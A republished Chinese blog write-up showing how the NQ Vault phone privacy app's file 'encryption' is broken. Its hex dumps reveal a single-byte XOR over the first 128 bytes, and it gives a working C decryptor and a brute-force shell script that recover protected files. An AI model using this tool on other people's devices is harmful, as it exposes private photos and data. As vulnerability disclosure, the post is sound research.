日本综合一区二区|亚洲中文天堂综合|日韩欧美自拍一区|男女精品天堂一区|欧美自拍第6页亚洲成人精品一区|亚洲黄色天堂一区二区成人|超碰91偷拍第一页|日韩av夜夜嗨中文字幕|久久蜜综合视频官网|精美人妻一区二区三区

RELATEED CONSULTING
相關(guān)咨詢(xún)
選擇下列產(chǎn)品馬上在線(xiàn)溝通
服務(wù)時(shí)間:8:30-17:00
你可能遇到了下面的問(wèn)題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營(yíng)銷(xiāo)解決方案
看我如何用3天時(shí)間黑掉“網(wǎng)秦私密空間(NQ Vault)”

什么是“網(wǎng)秦私密空間(NQ Vault)”

“網(wǎng)秦私密空間”英文名為NQ Vault,是一款手機(jī)加密APP。它允許用戶(hù)設(shè)置一個(gè)隱私密碼以及對(duì)照片,文本,或者其他數(shù)據(jù)進(jìn)行“加密”。比如說(shuō),一個(gè)攻擊者需要進(jìn)入該設(shè)備查看其中內(nèi)容那么他就需要獲取這個(gè)隱私密碼。即使攻擊者從設(shè)備中拖出了這些數(shù)據(jù)也是沒(méi)用的,因?yàn)檫@些數(shù)據(jù)都是經(jīng)過(guò)加密處理的。

說(shuō)起來(lái),NQ Vault(下載地址)在谷歌商店中還有一個(gè)不錯(cuò)的評(píng)級(jí)呢:

1.最受歡迎的應(yīng)用,在全球范圍內(nèi)擁有超過(guò)3000萬(wàn)用戶(hù)

2.CTIA - Techlicious 2012,最佳CTIA獎(jiǎng)項(xiàng)

3.PC Magazine - PC Magazine最近App

4.TRUSTe - 被收入“TRUSTe隱私封條”

5.全球移動(dòng)互聯(lián)網(wǎng)大會(huì) - TOP50

另外網(wǎng)秦的宣傳口號(hào)也不錯(cuò)——將你手機(jī)里的秘密全部藏起來(lái)!

在接下來(lái)的三天時(shí)間里,我將演示攻擊者如何將“網(wǎng)秦私密空間(NQ Vault)”加密了的數(shù)據(jù)拖出,并用幾秒鐘讀取到原始文件!

第一天

我使用GIMP做了一個(gè)1像素的圖片[test.png],運(yùn)行以下命令

echo NINJADOGE24 >> test.png

??并且使用NQ Vault v6.1.00.22對(duì)其進(jìn)行加密,密碼為2424

test.png的原始文件如下:

0000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR
0000010: 0000 0001 0000 0001 0802 0000 0090 7753 ..............wS
0000020: de00 0000 0970 4859 7300 0003 b100 0003 .....pHYs.......
0000030: b101 f583 ed49 0000 0007 7449 4d45 07df .....I....tIME..
0000040: 0401 0319 3a3d ca0b 0c00 0000 0c69 5458 ....:=.......iTX
0000050: 7443 6f6d 6d65 6e74 0000 0000 00bc aeb2 tComment........
0000060: 9900 0000 0f49 4441 5408 1d01 0400 fbff .....IDAT.......
0000070: 00ff 0000 0301 0100 c706 926f 0000 0000 ...........o....
0000080: 4945 4e44 ae42 6082 4e49 4e4a 4144 4f47 IEND.B`.NINJADOG
0000090: 4532 340a E24.

Vault的sqlite數(shù)據(jù)庫(kù)告訴了我們應(yīng)該在哪里找到加密文件

加密過(guò)后的文件,1427858907181.png:

0000000: 8d54 4a43 090e 1e0e 0404 0409 4d4c 4056  .TJC........ML@V 0000010: 0404 0405 0404 0405 0c06 0404 0494 7357  ..............sW 0000020: da04 0404 0d74 4c5d 7704 0407 b504 0407  .....tL]w....... 0000030: b505 f187 e94d 0404 0403 704d 4941 03db  .....M....pMIA.. 0000040: 0005 071d 3e39 ce0f 0804 0404 086d 505c  ....>9.......mP\ 0000050: 7047 6b69 6961 6a70 0404 0404 04b8 aab6  pGkiiajp........ 0000060: 9d04 0404 0b4d 4045 500c 1905 0004 fffb  .....M@EP....... 0000070: 04fb 0404 0705 0504 c302 966b 0404 0404  ...........k.... 0000080: 4945 4e44 ae42 6082 4e49 4e4a 4144 4f47  IEND.B`.NINJADOG 0000090: 4532 340a                                E24.

有趣的是,我本以為他會(huì)對(duì)所有內(nèi)容進(jìn)行加密,包括結(jié)尾的NINJADOGE24,怎么看怎么像置換加密。

接著我使用http://jdejong.net/tools/bitwisecalculator.php 工具,結(jié)果如下:

89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49                  XOR 8D 54 4A 43 09 0E 1E 0E 04 04 04 09 4D                   = 04 04 04 04 04 04 04 04 04 04 04 04 04

哇,我有沒(méi)有提到過(guò)NQ Vault有幾個(gè)高級(jí)版本,每年需要支付$7.99?我打賭他使用的是XOR2048增強(qiáng)模式進(jìn)行加密。#p#

第二天

寫(xiě)了一個(gè)XOR加密/解密程序。

//xor.c#include #include int main(int argc, char *argv[]){
    FILE *file_a, *file_b;
    int char_a, char_b;
         file_a = fopen(argv[1], "r");
    file_b = fopen(argv[2], "r");         while((char_a = getc(file_a)) != EOF && (char_b = getc(file_b)) != EOF)
            putchar(char_a ^ char_b);
                 fclose(file_a);
    fclose(file_b);              return EXIT_SUCCESS;}

這時(shí)候使用一個(gè)1像素的jpg文件

0000000: ffd8 ffe0 0010 4a46 4946 0001 0101 0060  ......JFIF.....` 0000010: 0060 0000 ffe1 0352 4578 6966 0000 4d4d  .`.....RExif..MM 0000020: 002a 0000 0008 0005 5100 0004 0000 0001  .*......Q....... 0000030: 0000 0000 5101 0003 0000 0001 0001 0000  ....Q........... 0000040: 5102 0001 0000 0300 0000 004a 5103 0001  Q..........JQ... 0000050: 0000 0001 0000 0000 5104 0001 0000 0001  ........Q....... 0000060: fc00 0000 0000 0000 0000 0000 0033 0000  .............3.. 0000070: 6600 0099 0000 cc00 00ff 002b 0000 2b33  f..........+..+3 0000080: 002b 6600 2b99 002b cc00 2bff 0055 0000  .+f.+..+..+..U.. 0000090: 5533 0055 6600 5599 0055 cc00 55ff 0080  U3.Uf.U..U..U... 00000a0: 0000 8033 0080 6600 8099 0080 cc00 80ff  ...3..f......... 00000b0: 00aa 0000 aa33 00aa 6600 aa99 00aa cc00  .....3..f.......                      -- snip -- 0000590: bac2 c3c4 c5c6 c7c8 c9ca d2d3 d4d5 d6d7  ................ 00005a0: d8d9 dae2 e3e4 e5e6 e7e8 e9ea f2f3 f4f5  ................ 00005b0: f6f7 f8f9 faff da00 0c03 0100 0211 0311  ................ 00005c0: 003f 00f9 1e8a 28af cdcf f7b0 ffd9 4e49  .?....(.......NI 00005d0: 4e4a 4144 4f47 4532 3420 0d0a            NJADOGE24 ..

對(duì)4815162342進(jìn)行加密:

0000000: 3314 332c ccdc 868a 858a cccd cdcd ccac  3.3,............ 0000010: ccac cccc 332d cf9e 89b4 a5aa cccc 8181  ....3-.......... 0000020: cce6 cccc ccc4 ccc9 9dcc ccc8 cccc cccd  ................ 0000030: cccc cccc 9dcd cccf cccc cccd cccd cccc  ................ 0000040: 9dce cccd cccc cfcc cccc cc86 9dcf cccd  ................ 0000050: cccc cccd cccc cccc 9dc8 cccd cccc cccd  ................ 0000060: 30cc cccc cccc cccc cccc cccc ccff cccc  0............... 0000070: aacc cc55 cccc 00cc cc33 cce7 cccc e7ff  ...U.....3...... 0000080: 002b 6600 2b99 002b cc00 2bff 0055 0000  .+f.+..+..+..U.. 0000090: 5533 0055 6600 5599 0055 cc00 55ff 0080  U3.Uf.U..U..U... 00000a0: 0000 8033 0080 6600 8099 0080 cc00 80ff  ...3..f......... 00000b0: 00aa 0000 aa33 00aa 6600 aa99 00aa cc00  .....3..f.......                      -- snip -- 0000590: bac2 c3c4 c5c6 c7c8 c9ca d2d3 d4d5 d6d7  ................ 00005a0: d8d9 dae2 e3e4 e5e6 e7e8 e9ea f2f3 f4f5  ................ 00005b0: f6f7 f8f9 faff da00 0c03 0100 0211 0311  ................ 00005c0: 003f 00f9 1e8a 28af cdcf f7b0 ffd9 4e49  .?....(.......NI 00005d0: 4e4a 4144 4f47 4532 3420 0d0a            NJADOGE24 ..

Key:

0000000: cccc cccc cccc cccc cccc cccc cccc cccc  ................ 0000010: cccc cccc cccc cccc cccc cccc cccc cccc  ................ 0000020: cccc cccc cccc cccc cccc cccc cccc cccc  ................ 0000030: cccc cccc cccc cccc cccc cccc cccc cccc  ................ 0000040: cccc cccc cccc cccc cccc cccc cccc cccc  ................ 0000050: cccc cccc cccc cccc cccc cccc cccc cccc  ................ 0000060: cccc cccc cccc cccc cccc cccc cccc cccc  ................ 0000070: cccc cccc cccc cccc cccc cccc cccc cccc  ................ 0000080: 0000 0000 0000 0000 0000 0000 0000 0000  ................ 0000090: 0000 0000 0000 0000 0000 0000 0000 0000  ................ 00000a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................ 00000b0: 0000 0000 0000 0000 0000 0000 0000 0000  ................                      -- snip -- 0000590: 0000 0000 0000 0000 0000 0000 0000 0000  ................ 00005a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................ 00005b0: 0000 0000 0000 0000 0000 0000 0000 0000  ................ 00005c0: 0000 0000 0000 0000 0000 0000 0000 0000  ................ 00005d0: 0000 0000 0000 0000 0000 0000 0a         .............

前面的128字節(jié)過(guò)后的內(nèi)容仍然保持原樣。這絕對(duì)是史上最棒的加密方法了!

我們嘗試使用001,002,003這類(lèi)密碼,看看有沒(méi)有什么發(fā)現(xiàn)。

password    key 000         30 001         31 002         32 003         33 004         34 .............. 010         4f 011         50 012         51 .............. 2424        04 4815162342  cc

好吧,我承認(rèn)現(xiàn)在開(kāi)始我有一點(diǎn)興趣了。因?yàn)槊艽a為009之后,整個(gè)規(guī)律似乎已經(jīng)對(duì)不起來(lái)了。

不管怎么說(shuō),嘗試重建generateKey(password)都是毫無(wú)意義的。

我預(yù)感我會(huì)使用暴力破解,從00到ff(也就是0~255)直到我得到一個(gè)有效文件。#p#

第三天

我即興寫(xiě)的XOR加密/解密程序,修改一下:

// vault-crack.c#include #include int main(int argc, char *argv[]){
    FILE *file_a;
    int char_a, char_b = strtol(argv[2], NULL, 10), i = 0;
         file_a = fopen(argv[1], "r");
         while((char_a = getc(file_a)) != EOF)
         {             if(i < 128) putchar(char_a ^ char_b) && i++;        else putchar(char_a);
    }
         fclose(file_a);              return EXIT_SUCCESS;}

暴力破解沒(méi)有想象中那么困難

#!/bin/sh for i in `seq 0 255`; do     ./vault-crack $1 $i > $1.decrypted         if [ `file $1.decrypted --brief --mime-type` != "application/octet-stream" ]         then         echo "Key = $i" && exit     fi done

編譯vault-crack.c,將這個(gè)腳本與使用vault加密的文件放入同一個(gè)目錄下,最后使用如下命令對(duì)文件進(jìn)行解密

./vault-crack.sh ENCRYPTED_FILE

大功告成!

更新

bkerler以及phaeilo指出生成密鑰的關(guān)鍵代碼如下:

key = password.hashCode() & 0xff;

hashCode功能是由Java定義的:

static int hashCode(String password){
    int h = 0;
    for (int i = 0; i < password.length(); i++)
    {
        h = 31*h + password.charAt(i);
    }         return h;}

但是key仍然需要進(jìn)行暴力破解,因?yàn)榻饷芪募⒉恢烂艽a。


分享文章:看我如何用3天時(shí)間黑掉“網(wǎng)秦私密空間(NQ Vault)”
本文來(lái)源:http://www.dlmjj.cn/article/coccgge.html